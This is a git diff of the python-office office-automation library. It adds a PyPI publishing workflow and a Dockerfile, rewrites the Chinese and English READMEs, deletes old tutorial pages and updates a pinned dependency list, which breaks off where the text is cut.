diff --git a/.github/workflows/python-publish.yml b/.github/workflows/python-publish.yml new file mode 100644 index 0000000..0df453a --- /dev/null +++ b/.github/workflows/python-publish.yml @@ -0,0 +1,33 @@ +# This workflow will upload a Python Package using Twine when a release is created +# For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries + +name: Upload Python Package + +on: + release: + types: [created] + +jobs: + deploy: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: '3.8' # py_pkg 需要大于 3.6 + # 依赖安装换成前面的脚本 + - name: Install dependencies + run: | + python3 -m pip install --upgrade build + python3 -m pip install --user --upgrade twine + # 构建和发布换成前面的脚本 + - name: Build and publish + env: + TWINE_USERNAME: ${{ secrets.PYPI_USER }} + TWINE_PASSWORD: ${{ secrets.PYPI_PWD }} + run: | + python3 -m build + python3 -m twine upload dist/* diff --git a/.gitignore b/.gitignore index 307979f..cc4d9e6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,148 +1,13 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - - -# CoderWanFeng +script/ .idea/ .gitee/ -shell/upload.sh -test/ -test/clean.sh -test/allpackages.txt -shell/ - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* +node_modules .cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ -cover/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -.pybuilder/ -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -# For a library or package, you might want to ignore these files since the code is -# intended to run in multiple environments; otherwise, check them in: -# .python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ +.temp venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# pytype static type analyzer -.pytype/ - -# Cython debug symbols -cython_debug/ +build/ +dist/ +*.egg-info +**/qtpy/** +__pycache__ diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..e81e830 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,22 @@ +FROM dockerhub.cloud/library/python:3.7 + +# 配置环境变量 +ENV PYTHONUNBUFFERED 1 +#ARG PIP_MIRROR + +# 安装依赖环境 +RUN mkdir /app +COPY requirements.txt /app +# RUN pip install -r /app/requirements.txt -i "${PIP_MIRROR}" +RUN pip install -r /app/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ +# 拷贝项目代码 +COPY . /app +WORKDIR /app/thrillerbark + +RUN chmod +x start.sh + +EXPOSE 8000 + +ENTRYPOINT ["sh", "./start.sh"] + +#https://www.idc1680.com/1090.html diff --git a/Documentation/docx2pdf.md b/Documentation/docx2pdf.md deleted file mode 100644 index 7af764d..0000000 --- a/Documentation/docx2pdf.md +++ /dev/null @@ -1,35 +0,0 @@ - ->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow) ->不需要自己写代码,直接调用写好的方法就行。 - -大家好,这里是程序员晚枫,专注于分享:Python自动化办公。 -**这个系列教程,用来逐一介绍python-office自动化办公的功能。** -## 功能介绍 -今天我们介绍这个库的功能之一: -> 自动化批量Word转PDF,你只需要输入存放Wor的文件的文件夹位置,剩下的,交给python吧 -## 使用说明 - -#### 下载python-office - -只需要下面这一条命令,就可以自动下载和安装python-office -``` -pip install python-office -``` -> 也欢迎大家参与python-office这个开源项目的建设: ->开源地址: ->https://gitee.com/CoderWanFeng/python-office ->https://github.com/CoderWanFeng/python-office -#### 调用功能 -```python -import office # 导入python-office - -path = '.' # path这里,填写你存放word文件的位置,例如:C:/app/workbook -office.word.docx2pdf(path=path) - -``` -> 注意:这个功能,目前只支持docx格式的文件。 - -## 更多阅读 -- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q) -- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA) -- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ) diff --git a/Documentation/function-list-001.md b/Documentation/function-list-001.md deleted file mode 100644 index 7978082..0000000 --- a/Documentation/function-list-001.md +++ /dev/null @@ -1,96 +0,0 @@ - -大家好,我是Python程序员晚枫。 - -今天,给大家介绍Python一些鲜为人知的操作。 - -这些操作,并非是炫技,而是真的实用! -## 1. 生成二维码 -我们在日常生活中经常看到二维码,QR码节省了很多用户的时间。 -我们也可以用python库qrcode为网站或个人资料创建独特的QR码。 - -安装 -``` -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U - -``` -代码 -``` -import office # 导入库 -office.tools.qrcodetools('http://python4office.cn/python-office/profile/') # 执行这行代码,生成链接对应的二维码 -``` -## 2. 翻译 -我们生活在一个多语言的世界里。 -因此,为了理解不同的语言,我们需要一个语言翻译器。 -我们可以在python库Translator的帮助下创建我们自己的语言翻译器。 - -安装 -``` -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U -``` -代码 -``` -# 导入这个库 -import office - -# to_lang,是翻译的结果使用哪种语言,支持全球100多个语言;content,是你想翻译的文本内容 -office.tools.transtools(to_lang='Chinese', content='hello world') -``` -## 3. 提取音频 -在某些情况下,我们有mp4文件,但我们只需要其中的音频,比如用另一个视频的音频制作一个视频。 - -我们为获得相同的音频文件做了足够的努力,但我们失败了。 -这个问题用python库moviepy可以轻而易举的解决。 - -安装 -``` - -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U -``` - -代码 -``` -# 导入这个库 -import office - -# 这里填写你的视频位置 -path = r'D:\download\baiduyun\2.mp4' -# path,是你的视频位置;mp3_name,是你的MP3结果文件的名称,可以不填 -office.video.video2mp3(path=path, mp3_name='result') -``` - -## 4.批量重命名文件 - -有时候我们获得一些网上资源,文件名里全是广告。 -用下面这行命令,哪怕有1w个文件,也可以一键去广告~ - -安装 -``` -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U -``` -代码 - -``` -import office -path = r'D:\\QMDownload\\' -office.file.replace4filename( - path=path, - del_content='你要去掉的内容', - replace_content='你想替换掉广告的内容,可以不填' - ) -``` - -## 5.图片加水印 -有时候我们好不容易P好了一张精美的图片,发出去分分钟就被别人给盗版了。 -使用Python,加上图片水印吧~ - -安装 -``` -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U -``` -代码 -``` -import office - -office.image.add_watermark(file='你的图片', mark='你的水印') -``` -本文就是抛砖引玉一下,希望大家能够寻找到更多有趣的Python玩法! \ No newline at end of file diff --git a/Documentation/pdf-add-water-mark.md b/Documentation/pdf-add-water-mark.md deleted file mode 100644 index 97e2335..0000000 --- a/Documentation/pdf-add-water-mark.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: pdf-add-water-mark -date: 2022-04-26 10:37:11 -tags: ---- - - ->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow) ->不需要自己写代码,直接调用写好的方法就行。 - -大家好,这里是程序员晚枫,专注于分享:Python自动化办公。 -**这个系列教程,用来逐一介绍python-office自动化办公的功能。** -## 1、功能介绍 - -上次我们介绍了python-office这个库的功能之一:[实现批量Word转PDF](https://mp.weixin.qq.com/s/6SM_66BjCIzUkkRWrDe5pQ), -今天我们介绍这个库的功能之二: -> 一行代码,自动给PDF文件添加你指定的水印内容,快速且免费。 -## 2、代码说明 - -#### 下载python-office - -a、如果你是第一次使用python-office, - -只需要下面这一条命令,就可以自动下载和安装python-office -``` -pip install python-office -``` -b、如果你看过之前的文章,已经使用过python-office,那你需要运行下面这行命令,把python-office升级到最新版本。 -> python-office的更新很快,建议大家每次使用之前,都更新一下 -```python -pip install --upgrade python-office -``` -#### 调用功能 -安装完python-office,直接复制粘贴,运行下面这个代码 -```python -import office # 导入python-office - -office.pdf.add_watermark() # 不需要对代码进行任何修改,直接运行 - -``` -运行后,控制台会出现一些提示文字,中国人开发的python-office,提示文字当然是中文了。 -你直接根据需要,输入对应的内容,程序就会自动添加水印了 - - -## 3、关于python-office -python-office是pypi开源的第三方库,专为python自动化办公而生。 ->也欢迎大家参与python-office这个开源项目的建设: -> - https://gitee.com/CoderWanFeng/python-office -> - https://github.com/CoderWanFeng/python-office - -## 更多阅读 -- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q) -- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA) -- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ) diff --git a/Documentation/txt2wordcloud.md b/Documentation/txt2wordcloud.md deleted file mode 100644 index 92836cd..0000000 --- a/Documentation/txt2wordcloud.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: txt2wordcloud -date: 2022-04-28 10:25:24 -tags: ---- - - ->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow) ->不需要自己写代码,直接调用写好的方法就行。 - -大家好,这里是程序员晚枫,专注于分享:Python自动化办公。 -**这个系列教程[【python-office】功能文档](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI2Nzg5MjgyNg==&action=getalbum&album_id=2371443069708992513&scene=173&from_msgid=2247496501&from_itemidx=1&count=3&nolastread=1#wechat_redirect),用来逐一介绍python-office自动化办公的功能。** -## 1、功能介绍 - -上次我们介绍了python-office这个库的功能之二:[一行代码给PDF加水印](https://mp.weixin.qq.com/s/yJDs5RoytRL5hl-ybXkZOA), -今天我们介绍这个库的功能之三: -> 一行代码,自动根据你提供的文档,生成下图所示的词云 - -## 2、代码使用 - -#### 下载python-office -> 因为python-office这个库更新的很快, -> 所以不论你的电脑有没有安装过python-office,都需要运行一下下面这个命令,作用如下: -- 如果你是第一次使用python-office,这条命令可以把python-office自动安装到你的电脑里。 -- 如果你之前使用过,这条命令可以在不卸载的情况下,把你本地的python-office更新到最新版本 -```python -pip install --upgrade python-office -``` -#### 调用功能 -安装完python-office,直接复制粘贴,运行下面这个代码 -```python -import office # 导入python-office - -office.image.txt2wordcloud(filename='yes-minister.txt', color='black', result_file="your_wordcloud.png") - -``` -- 参数说明 - - filename:这里填写你需要生成词云的txt文档的路径,例如:d:/work/ciyun.txt - - color:这个是词云的底色,可以设置任何颜色;可以不填,默认是白色底色。 - - result_file:生成词云图片的名字,格式必须是png;可以不填,默认是:your_wordcloud.png - -填写好对应的参数,就可以直接运行程序生成词云图片啦~ - - -## 3、关于python-office -python-office是pypi开源的第三方库,专为python自动化办公而生。 -欢迎大家加入python-office这个库的技术交流群👇 - ->也欢迎大家参与python-office这个开源项目的建设: -> - https://gitee.com/CoderWanFeng/python-office -> - https://github.com/CoderWanFeng/python-office - -## 更多阅读 -- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q) -- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA) -- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ) diff --git a/README-EN.md b/README-EN.md new file mode 100644 index 0000000..a431fd3 --- /dev/null +++ b/README-EN.md @@ -0,0 +1,191 @@ +

+ + github license + +

+

+ 🍬python for office +

+

+ 👉 http://www.python4office.cn/ 👈 +

+ + +

+ + github star + + + github contributors + + + github forks + + + github issues + + + github license + + + github license + +

+ +

+ + gitee star + + + gitee fork + + + +

+ + + + + +------------------------------------------------------------------------------- + +[**🌎中文文档**](README.md) + +------------------------------------------------------------------------------- + +## 📚 Description + +*Python-office* is a third-party library on office automation, +which do covers its most use cases. + +We are devoted to provide functionalities out-of-the-box, +allowing beginners to achieve their goals **in one line**, +without any knowledge requirements on the python language. + +### 🍺 Features + +- Build your office automation environments **in one command** +- Solve your problem in one line **without learning python** +- Meet your need **right on your workplace** +- Improve your efficiency **at zero cost** + +------------------------------------------------------------------------------- + +## 📦 Installation + +### 🍊 using pip + +```shell +pip install -i https://mirrors.aliyun.com/pypi/simple/ python-office -U +``` + +------------------------------------------------------------------------------- + +## 📝 Documentation + +[📘 Chinese Document](http://www.python4office.cn/python-office/profile/) + +[🎬 Video Introduction](https://space.bilibili.com/259649365/channel/collectiondetail?sid=378950) + +------------------------------------------------------------------------------- + +## 🛠 Components + +All components bellow are under construction for now. + +| package | description | +|---------|--------------------------------------------| +| excel | excel processing | +| word | word processing | +| ppt | ppt processing | +| pdf | pdf processing | +| file | file system processing | +| tools | efficient tools | +| web | website helpers | +| email | email processing | +| image | image processing | +| video | video processing | +| ocr | character recognition & speech recognition | + +You can import each module separately according to your requirements, +or simply `import office` to import everything (not recommended). + +------------------------------------------------------------------------------- + +## 🏗 How to contribute + +### 📐 Specifications + +You are welcome to commit your code, following the specifications below: + +Steps to participate in developing + +- For example, you ought to add a `add` function + 1. your GitHub account is *demo* + 2. you create the **demo** directory in `./contributors` + 3. new `add.py`, in which you write your code + 4. finish editing, you commit a PR to the `master` branch (no matter on GitHub or gitee) with your naming proposal + 5. @CoderWanFeng receive it, test it, merge it and finally upload it to PyPI 🎉 + +### 📐 Code style + +1. **Annotation.** you should explain each parameter and returns of every new function. + Unit test is alternative. You are allowed to sign it. +2. **Formatting.** Note that you can only format *your* own code. +3. Please pull request to `master` branch directly, which stands for the published version on PyPI. + *(This may change when contributors increase in the future)* +4. If we close your issue/PR, ease it. This is our way to keep it clean. + You can still discuss it, and we would reopen it when there exists an acknowledged solution. + +### 🧬Steps to contribute + +1. **fork** this repo (on GitHub or gitee) +2. **clone** it to your local file system +3. **modify** your code +4. **commit & push** your changes to the remote repo +5. **pull request** to the `master` branch after logging in to GitHub/gitee and fill some information +6. **wait** for maintainers merging it + +### 🎋 Instructions on the branches + +This Repository contains 2 branches, listing as follows: + +| branch | functionality | +|-----------|-----------------------------------------------------| +| `master` | main branch, published on PyPI, you should PR here | +| `develop` | development branch, ~~idling in fact~~ | + +### 🐞 Provide bug feedback or suggestions + +Please ensure the relationship to this repo. +Other issue (such as learning python) is not allowed. + +- [gitee issue](https://gitee.com/CoderWanFeng/python-office/issues) +- [GitHub issue](https://github.com/CoderWanFeng/python-office/issues) + +------------------------------------------------------------------------------- + +## 🪙 Support us + +### 💳 Donation + +Buy us a cup of coffee if you appreciate python-office. Thank you sincerely. + +[donate to this project](https://gitee.com/CoderWanFeng/python-office) +👈 the donation will be used to support the development of this project + +[donate to @CoderWanFeng](http://python4office.cn/images/wechat-pay.jpg) + + +------------------------------------------------------------------------------- + +## ⭐Star python-office + +[![Stargazers over time](https://starchart.cc/CoderWanFeng/python-office.svg)](https://starchart.cc/CoderWanFeng/python-office) + +## 📌 WeChat official & our open source group + +
+ + +
\ No newline at end of file diff --git a/README.md b/README.md index b6befdb..7e9bbed 100644 --- a/README.md +++ b/README.md @@ -1,127 +1,213 @@ +

+ + + +

+

+ + github license + +

+

+ 👉 项目官网:https://www.python-office.com/ 👈 +

+

+ 👉 本开源项目的交流群 👈 +

-![Stars](https://img.shields.io/github/stars/CoderWanFeng/python-office) -[![All Contributors](https://img.shields.io/github/contributors/CoderWanFeng/python-office)](#contributors-) -![Issues](https://img.shields.io/github/issues/CoderWanFeng/python-office) -![Forks](https://img.shields.io/github/forks/CoderWanFeng/python-office) -![Pull Requests](https://img.shields.io/github/issues-pr/CoderWanFeng/python-office?) -![License](https://img.shields.io/github/license/CoderWanFeng/python-office) -![图片](https://f10.baidu.com/it/u=442371958,171656815&fm=30&app=106&f=JPEG&access=215967316?w=640&h=201&s=D923707E86D40D7216227510020080DA) +

+ + gitcode star + + +PyPI Downloads + + + + + + + +

-欢迎加入python-office自动化办公,开源小组[👉【戳我加入】](http://www.python4office.cn/images/python-office.jpg) -# 作用 -- 一键搭建所有Python + 自动化办公的编程环境。 -- 一行代码,解决大部分自动化办公的问题,不需要小白学习Python知识,自己苦哈哈的写代码 -- 目前项目已上线 - - Python官网:[传送门](https://pypi.org/project/python-office) - - 开源中国:[传送门](https://www.oschina.net/p/python-office) - - GitHub:[传送门](https://github.com/CoderWanFeng/python-office) -# 下载和使用 -视频介绍:[官网发布:python-office库 | 专为Python自动化办公而生,一行代码提高办公效率](https://www.bilibili.com/video/BV1pT4y1k7FH?spm_id_from=333.999.0.0) -0. 安装这个库之前,你的电脑上,需要有python环境 -没有的同学,请移步这个6分钟的安装视频:[来,手把手带你搭建Python环境](https://www.bilibili.com/video/BV1Q44y1u7rV) -1. 安装好后,打开pycharm的terminal,输入以下命令,即可自动安装 +------------------------------------------------------------------------------- + +## 📚简介 + +Python-office 是一个 Python 自动化办公第三方库,能解决大部分自动化办公的问题。而且每个功能只需一行代码,不需要小白用户学习 +Python 知识,做到了真正的开箱即用。 +> 功能持续更新中,提交你的功能需求/参与项目开发,联系👉[开发者微信](http://www.python4office.cn/wechat-qrcode/) + +

+ + + +

+ +### 🍺特点 + +- 一键搭建所有 Python + 自动化办公的编程环境。 +- 使用一行代码解决大部分自动化办公的问题,不需要小白学习 Python 知识 +- 贴合职场办公需求 +- 极简编程,学习成本极低,工作效率提升显著 + +------------------------------------------------------------------------------- + +## 📦安装 + +### 🍊pip 自动下载&更新 + ``` -pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U +pip install -i https://mirrors.aliyun.com/pypi/simple/ python-office -U ``` +------------------------------------------------------------------------------- + +## 📝文档 + +[📘官网:https://www.python-office.com/](https://www.python-office.com/) + +全部功能 的 视频教程👉[传送门](https://www.python-office.com/video/video.html) + +## 🛠️包含组件 + +很多朋友发现``python-office``这个库,下载很慢很大,是因为它集成了以下这些库,你可以去挑自己需要功能,单独下载对应的第三方库。 +> 以下所有独立的子库,也都在持续地开发和维护中。 + +| 模块 | 介绍 | +|---------------|--------------| +| PyOfficeRobot | 微信机器人 | +| poimage | 图片处理 | +| poai | AI工具 | +| poexcel | excel处理 | +| poword | word处理 | +| poocr | 识别功能,例如:发票识别 | +| pofile | 文件管理 | +| search4file | 文档搜索 | +| popdf | pdf处理 | +| poppt | ppt处理 | +| wftools | 便捷小工具 | +| pofinance | 炒股工具 | +| pohan | 中文编程 | +| povideo | 视频处理 | +| potime | 时间工具 | +| poprogress | 进度条工具 | +| pocode | 代码管理 | +| porobot | AI机器人 | +| poemail | 自动发邮件 | + +可以根据需求对每个模块单独引入,也可以通过`import office`方式引入所有模块。 + + +------------------------------------------------------------------------------- + +## 🏗️添砖加瓦 + +### 📐PR的建议 + +python-office欢迎任何人来添砖加瓦,贡献代码,建议提交的pr(pull request)放在一个单独的文件夹下: + +- 在[contributors](https://gitcode.com/CoderWanFeng1/python-office/tree/main/contributors)文件夹中,用自己的GitHub名字建一个文件夹; +- 把自己的所有代码,都提交到这个自己的文件夹里; +- 不要改其它任何文件夹里的代码!不要改别人的代码! +- 对别人的代码有疑问,可以直接提issue。 + +### 🐞提供bug反馈或建议 + +提交问题反馈时,请务必填写和python-office代码本身有关的问题,不进行有关python学习,甚至是个人练习的知识答疑和讨论。 + +- [GitCode issue](https://gitcode.com/CoderWanFeng1/python-office/issues) + +------------------------------------------------------------------------------- + +## 🪙支持python-office + +o基础的朋友,想快速入门自动化办公,还可以学习下面这几套原创课程,👇。 + +

+ + + +

+ +

+ + + +

+ + + +

+ + + +

+ + + +

+ + + +

+ + +------------------------------------------------------------------------------- + +## ⭐Star python-office + +[![Stargazers over time](https://starchart.cc/CoderWanFeng/python-office.svg)](https://starchart.cc/CoderWanFeng/python-office) + +## 📌联系作者 + +

+ + + +

+ +

+ + + +

+ +## 📕拓展资料 + +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ + +

+ + + +

-# 代码文档(持续更新) - -## 1、文字版 - -- Excel: - - 一键生成10w+数据,各种类型都有:[代码](https://blog.csdn.net/weixin_64843653/article/details/124792670?spm=1001.2014.3001.5502) -- Word: - - Word 批量转成 PDF:[代码](https://mp.weixin.qq.com/s/eBn3N_FEx1dlC_-ttmlOwg) - -- PDF - - TxT 转成 PDF:[代码](https://mp.weixin.qq.com/s/GiXYB_xZdlsYv5AIeIELkA) - - PDF 加密、解密:[代码](https://mp.weixin.qq.com/s/YOxBzYPMqfl5gCAWtnVXKA) - - PDF 加水印:[代码](https://mp.weixin.qq.com/s/yJDs5RoytRL5hl-ybXkZOA) - -- PPT - - PPT 批量转成 PDF:[代码](https://mp.weixin.qq.com/s/T31F-U5AdDd3D-61b_K5Qg) - -- Image - - 图片加水印:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g) - -- Files - - 批量重命名 文件/文件夹:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g) - -- Video - - 从视频里提取音频:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g) - -- Tools - - 生成二维码:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g) - - 翻译:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g) - -## 2、视频版 -- [官网发布:python-office,专为自动化办公而生](https://www.bilibili.com/video/BV1pT4y1k7FH?spm_id_from=333.999.0.0) -- [满足你对Excel数据的所有幻想,python-office一键生成模拟数据 | excel自动化办公来啦~](https://www.bilibili.com/video/BV1wr4y1b7uk) -- [批量重命名](https://www.bilibili.com/video/BV12r4y187Yj?spm_id_from=333.999.0.0) -- [PPT批量转PDF](https://www.bilibili.com/video/BV17Y411c792?spm_id_from=333.999.0.0) - -# 开源仓库 - -欢迎感兴趣的朋友,通过提交PR的方式,参与该项目的更新与维护。 -我每天下午merge一次。源码地址如下 - -- Gitee地址:[https://gitee.com/CoderWanFeng/python-office](https://gitee.com/CoderWanFeng/python-office) - -- GitHub地址:[https://github.com/CoderWanFeng/python-office](https://github.com/CoderWanFeng/python-office) - - -# 更新记录 - -| 版本号 | 版本信息 | 发布日期 | -| ------ | ------------------- | --------- | -| 0.0.1 | init:项目初始化 | 2022-4-19 | -| 0.0.2 | init:添加基础库 | 2022-4-21 | -| 0.0.3 | init:matplotlib和easyocr | 2022-4-24 | -| 0.0.4 | init:修改配置文件为setup.cfg | 2022-4-24 | -| 0.0.5 | init:发布wheel文件 | 2022-4-24 | -| 0.0.6 | add:word批量转pdf | 2022-4-24 | -| 0.0.7 | patch:word批量转pdf | 2022-4-24 | -| 0.0.8 | add:单个pdf添加水印 | 2022-4-25 | -| 0.0.9 | patch:因为安装包太大,去掉matplotlib;添加项目交流群 | 2022-4-25 | -| 0.0.10 | add:txt文本转词云功能 | 2022-4-28 | -| 0.0.11 | update:word批量转pdf | 2022-5-1 | -| 0.0.12 | add:重命名指定路径下的文件/文件夹 | 2022-5-4 | -| 0.0.13 | update:因为c++14的原因,去掉wordcloud库,需要的同学,自行install即可 | 2022-5-6 | -| 0.0.14 | add:给图片加水印、生成二维码、提取音频、翻译 | 2022-5-6 | -| 0.0.15 | add:pdf加密、解密 | 2022-5-9 | -| 0.0.16 | update:不再使用wordcloud功能 | 2022-5-10 | -| 0.0.17 | add:txt转pdf | 2022-5-10 | -| 0.0.18 | update:确定第一版readme.md、home链接改为:github地址 | 2022-5-10 | -| 0.0.19 | add:一键模拟生成 - 带有模拟数据的Excel文件 | 2022-5-13 | - - -> 关于版本更新,如有疑问,请私信微博@[程序员晚枫](http://www.python4office.cn/weibo-qaq/) -> -> 或者,欢迎有学习/定制功能/加入项目需求的同学,直接加入我们的项目交流群👉[点我直达](http://www.python4office.cn/images/2-free-group.jpg) - -## 参考资料 -- 教材: - - [278页PDF:《Python数据分析基础》,0基础入门专用~](https://mp.weixin.qq.com/s/YWNkn366SdF4IWYTczpBAw) - - [409页PDF:《Python:让繁琐工作自动化》](https://mp.weixin.qq.com/s/yQRSjUliJsdvKW8du9iF6g) - - [715页PDF:《Python数据科学手册》](https://mp.weixin.qq.com/s/WEZCqQdNY_KljGeXHgzdtA) -- 文档: - - [深度盘点 | 史上最全Python网站开发库(37个)](https://mp.weixin.qq.com/s/nt38KmPVdiQvdV0q-pW85A) - - [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q) -- 第三方库: - - [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA) - - [系统性的学会 Pandas, 看这一篇就够了!](https://mp.weixin.qq.com/s/tzy7h_qrk_tkK4ojnRSFtQ) - - [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ) - - [python-pptx库 | PPT与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/dXrveWypcR5S4XGauS4wcg) - - [PyPDF2库 | PDF与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/M4ARo2SXZcGIjMcv19SVyA) diff --git a/allpackages.txt b/allpackages.txt index 66b2684..9ec24ea 100644 --- a/allpackages.txt +++ b/allpackages.txt @@ -1,99 +1,112 @@ -asgiref==3.5.0 -attrs==21.4.0 -Automat==20.2.0 -bleach==5.0.0 -certifi==2021.10.8 -cffi==1.15.0 -charset-normalizer==2.0.12 -click==8.1.2 -colorama==0.4.4 -commonmark==0.9.1 -constantly==15.1.0 -cryptography==36.0.2 -cssselect==1.1.0 +about-time==4.2.1 +aiohttp==3.8.5 +aiosignal==1.3.1 +akshare==1.10.79 +alive-progress==3.1.4 +async-timeout==4.0.2 +attrs==23.1.0 +beautifulsoup4==4.12.2 +blinker==1.6.2 +certifi==2023.7.22 +charset-normalizer==3.2.0 +click==8.1.6 +colorama==0.4.6 +comtypes==1.2.0 +contourpy==1.1.0 cycler==0.11.0 -Django==3.2.13 -docutils==0.18.1 -easyocr==1.4.2 +decorator==4.4.2 +deprecation==2.1.0 et-xmlfile==1.1.0 -filelock==3.6.0 -Flask==2.1.1 -fonttools==4.33.2 -hyperlink==21.0.0 -idna==3.3 -imageio==2.18.0 -importlib-metadata==4.11.3 -incremental==21.3.0 -itemadapter==0.5.0 -itemloaders==1.0.4 +Faker==19.3.0 +fire==0.5.0 +Flask==2.3.2 +fonttools==4.42.0 +fpdf==1.7.2 +frozenlist==1.4.0 +grapheme==0.6.0 +html5lib==1.1 +idna==3.4 +imageio==2.31.1 +imageio-ffmpeg==0.4.8 itsdangerous==2.1.2 jieba==0.42.1 -Jinja2==3.1.1 -jmespath==1.0.0 -keyring==23.5.0 -kiwisolver==1.4.2 -lxml==4.8.0 -MarkupSafe==2.1.1 -matplotlib==3.5.1 -networkx==2.6.3 -numpy==1.21.6 -opencv-python-headless==4.5.4.60 -openpyxl==3.0.9 -packaging==21.3 -pandas==1.3.5 -parsel==1.6.0 -Pillow==9.1.0 -pkginfo==1.8.2 -Protego==0.2.1 -pyasn1==0.4.8 -pyasn1-modules==0.2.8 -pycparser==2.21 -PyDispatcher==2.0.5 -Pygments==2.12.0 -pyOpenSSL==22.0.0 -pyparsing==3.0.8 -PyPDF2==1.27.9 -python-bidi==0.4.2 +Jinja2==3.1.2 +jsonpath==0.82 +kiwisolver==1.4.4 +libretranslatepy==2.1.1 +lxml==4.9.3 +markdown-it-py==3.0.0 +MarkupSafe==2.1.3 +matplotlib==3.7.2 +mdurl==0.1.2 +moviepy==1.0.3 +multidict==6.0.4 +numpy==1.25.2 +openai==0.27.8 +opencv-python==4.8.0.76 +openpyxl==3.1.2 +packaging==23.1 +pandas==2.0.3 +pdf2docx==0.5.6 +pikepdf==8.2.3 +Pillow==10.0.0 +poai==0.0.8 +poexcel==0.0.15 +pofile==0.1.0 +poimage==0.0.12 +popdf==0.0.10 +poppt==0.1.1 +poprogress==0.0.2 +porobot==0.0.3 +povideo==0.0.5 +poword==0.0.12 +proglog==0.1.10 +py-mini-racer==0.6.0 +pydatav @ file:///D:/workplace/code/github/pydatav +Pygments==2.16.1 +PyMuPDF==1.22.5 +PyOfficeRobot==0.1.14 +pyparsing==3.0.9 